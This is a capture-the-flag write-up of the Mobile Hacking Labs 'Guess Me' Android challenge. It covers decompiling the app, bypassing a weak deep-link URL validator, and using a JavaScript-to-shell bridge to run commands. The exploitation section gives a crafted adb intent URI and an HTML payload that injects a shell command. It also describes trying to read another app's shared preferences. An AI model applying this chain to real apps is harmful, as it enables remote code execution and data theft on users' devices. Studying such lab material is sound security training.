Mobile Hacking Labs - Guess Me
Aug 02, 2024
Challenge Overview
The Guess Me challenge sheds light on a security flaw that allows command injection, leading to Remote Code Execution (RCE). The WebViewActivity of the application allows a bypass of the validated URIs, thus allowing attacker controlled URIs to be used.
Recon & Discovery
The deep link is embedded in the com.mobilehackinglab.guessme.WebviewActivity
and that’s where I start. I started going throught the code while reading Android Documentation/Guides on webviews to understand them better. But first…
Running the application
The application launches the MainActivity with a ‘guess me’ game that I got tired playing after few attempts.
The activity also shows an imagine button that when clicked, opens a web view/new activity.
Reverse Engineering & Code Analysis
Decompiled the app and looked through the manifest. The target activity .WebViewActivity
is exported and registered with a data filter:
<activity
android:name="com.mobilehackinglab.guessme.WebviewActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="mhl"
android:host="mobilehackinglab"/>
</intent-filter>
</activity>
Looks like we have the scheme and host of the deep link.
The OnCreate
method of the activity reveals some interesting details and methods.
- JavaScript which is disabled by default, has been enabled. This is dangerous if not well used and exposes the application to different attack vectors, including XXS aka Cross Site Scripting.
- (1) The
loadAssetIndex();
is called and loads a html file in the assests (and this is what gets displayed when I click the image button in the MainActivity):
private final void loadAssetIndex() {
WebView webView = this.webView;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
webView.loadUrl("file:///android_asset/index.html");
}
- (2) A
handleDeepLink(getIntent());
is also called which has two other intersting methods,isValidDeepLink(uri)
&loadDeepLink(uri)
:
private final void handleDeepLink(Intent intent) {
Uri uri = intent != null ? intent.getData() : null;
if (uri != null) {
if (isValidDeepLink(uri)) {
loadDeepLink(uri);
} else {
loadAssetIndex();
}
}
}
The deep link validation (isValidDeepLink) ensures that the scheme is mhl
or https
and the host is mobilehackinglab
, however, it only checks if the url parameter ends with mobilehackinglab.com
and this can abused to load attacker controlled URIs.
I test the deep link validator and truly, any URI anding with ‘mobilehackinglab.com’ gets loaded.
adb shell am start -W -a android.intent.action.VIEW -d "mhl://mobilehackinglab?url=https://www.mobilehackinglab.com"
Enters the most interesting part. The application adds a JavaScript Interface and starts a Runtime process:
Runtime.getRuntime().exec(Time);
The inteface “Android Bridge” gets a string (Time) and executes a shell with the input:
Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", time});
This is seen in the index.html
file that’s loaded by the loadAssetIndex()
method, getting the ‘date’ –command executed and results displayed:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<p id="result">Thank you for visiting</p>
<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>
<script>
function loadWebsite() {
window.location.href = "https://www.mobilehackinglab.com/";
}
// Fetch and display the time when the page loads
var result = AndroidBridge.getTime("date");
var lines = result.split('\n');
var timeVisited = lines[0];
var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
document.getElementById('result').innerText = fullMessage;
</script>
</body>
</html>
Exploitation
With JavaScript enabled and an interface added, my thoughts are that I could change the content of the script (command sent) and bypass the deep link validator to load a URI I control and get a script of my choice executed.
For my script, I copy and modify the index html file in the assets folder to have it print the working directoty (pwd
) in which it executes from.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<p id="result">Thank you for visiting</p>
<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>
<script>
function loadWebsite() {
window.location.href = "https://www.mobilehackinglab.com/";
}
// Fetch and display the time when the page loads
var result = AndroidBridge.getTime("pwd");
var lines = result.split('\n');
var timeVisited = lines[0];
var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
document.getElementById('result').innerText = fullMessage;
</script>
</body>
</html>
I start a python server to serve the malicious script (hack_me.html) if requested by any client.
URI to bypass validation:
Here is where it got a bit interesting and challenging. How do you bypass the deep link URi validator which checks that the URL passed ends with “mobilehackinglab.com”? Easy if you control the mobilehackinglab.com
domain or it’s subdomian, i.e. evil.mobilehackinglab.com
.
After reading a few blogs (check resources section), I understood how that would be possible. The main thing is to understand how the uri.getQueryParameter
method parses URIs.
The method gets everything from the first “?” and stops when it finds “#” which is used for segmentation.
https://mobilehackinglab?url=10.0.3.2/hack_me.html?mobilehackinglab.com
For such a URI, the method would parse and get the url parameter as “10.0.3.2/hack_me.html?mobilehackinglab.com”. That, while an incorrect URI, bypasses the deeplink validation.
The webview loads 10.0.3.2/hack_me.html?mobilehackinglab.com
and requests10.0.3.2/hack_me.html
. Exactly what we want to have the (juicy) script executed.
adb shell am start -n com.mobilehackinglab.guessme/.WebviewActivity -d https://mobilehackinglab?url=10.0.3.2/hack_me.html?mobilehackinglab.com
And there, it shows /
revealing that the command pwd
was injected and executed.
Done! But before we leave I decide to try something. Using this vulnerability, would an attacker be able to get data from other apps? I have an app (from another MHL challenge) and would like to get the contents of its sharedpref –in other cases, it could contain passwords or cached info (credit card no.s even!).
With this kind of injection you can do whatever kind of recon to find an ‘interesting’ file depending on the priveleges of the user you execute as.
Soon enough I hit a dead end because of the limited priveleges (r/w) that the user (app) has.
Conclusion
That was a hell of a challenge. Learnt how URIs are parsed and how to bypass them. I also read extensively and played around with binding JavaScript in Android. That’s what’s up!
Additional Resources
- Deep Linking in Android with Example
- Android Deep LInks
- https://sh4d0wlesss.github.io/writeup/Mobile-Hacking-Lab-Guess-Me-Challenge-Writeup/
Catch my MHL Series which brings writeups of the Mobile Hacking Lab Android challenges, that are part of the CAPT course. The labs are good for preparation of the CAPT exam.
- - these writeups assume knowledge in basic android hacking methodolgy and familiarity with tools including adb
, jadx(gui)
, Frida
, etc